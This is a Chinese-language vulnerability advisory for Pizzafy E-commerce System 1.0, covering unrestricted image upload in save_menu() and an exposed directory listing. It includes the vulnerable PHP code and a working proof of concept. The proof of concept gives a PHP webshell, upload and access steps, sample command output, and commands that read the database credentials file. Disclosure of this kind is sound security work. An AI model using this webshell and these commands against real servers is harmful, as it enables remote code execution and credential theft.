Pizzafy 电子商务系统 1.0 – save_menu() 中的无限制文件上传导致远程代码执行

详细信息

受影响组件

文件： Pizzafy/admin/admin_class_novo.php → save_menu() 函数
参数： img(FILE)
上传路径： Pizzafy/assets/img/

描述

Pizzafy 电子商务系统 1.0 中的 save_menu() 函数处理菜单项图片上传时未执行任何文件类型验证。应用程序使用 pathinfo() 获取文件扩展名，但在将上传文件移动到 Web 可访问的 assets/img/ 目录之前，从未实际检查或限制允许的文件类型。经过身份验证的管理员可以上传伪装成菜单图片的 PHP WebShell，然后通过浏览器直接访问它，从而在服务器上实现远程代码执行。

admin_class_novo.php 中的漏洞代码：

function save_menu(){
    extract($_POST);
    // ...
    if($_FILES['img']['tmp_name'] != ''){
        $fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
        $move = move_uploaded_file($_FILES['img']['tmp_name'],'../assets/img/'. $fname);
        $data .= ", img_path = '$fname' ";
    }
    // No extension check, no MIME type check
}

概念验证

步骤 1 — 创建 PHP WebShell

创建一个名为 shell_web2.php 的文件，内容如下：

<?php echo shell_exec($_GET['cmd']); ?>

步骤 2 — 通过菜单管理上传 WebShell

以管理员身份登录并访问：

http://localhost/pizzafy/Pizzafy/admin/index.php?page=menu

在菜单表单中填写任意有效值，并选择 shell_web2.php 作为图片文件。点击 保存。

该 WebShell 现在作为菜单项显示在面向客户的页面上。

步骤 3 — 定位已上传的 WebShell

访问 assets 目录——目录列表已启用（CWE-548）：

http://192.168.0.9/pizzafy/Pizzafy/assets/img/

上传的 PHP WebShell 在目录列表中可见。

步骤 4 — 执行远程命令

直接访问已上传的 WebShell，并通过 cmd 参数传递系统命令：

http://192.168.0.9/pizzafy/Pizzafy/assets/img/1775994120_shell_web2.php?cmd=whoami

响应 — 在服务器上执行的系统命令：

desktop-g1i9np3\dell

其他命令

?cmd=whoami
?cmd=ipconfig
?cmd=dir C:\xampp\htdocs\pizzafy
?cmd=type C:\xampp\htdocs\pizzafy\Pizzafy\admin\db_connect.php

影响

经过身份验证的管理员可以：

• 向 Web 服务器上传任意 PHP 文件
• 在服务器上执行任意操作系统级命令
• 读取敏感文件，包括数据库凭据
• 建立反向 Shell 以获得完整的持久访问权限
• 完全攻陷底层服务器

关于目录列表的说明（CWE-548）

assets/img/ 目录启用了目录列表功能，允许未认证用户浏览所有上传的文件，包括 WebShell。这加剧了文件上传漏洞的严重性。

参考资料

• SourceCodester — Pizzafy 电子商务系统
• CWE-434：危险类型文件的无限制上传
• CWE-548：通过目录列表暴露信息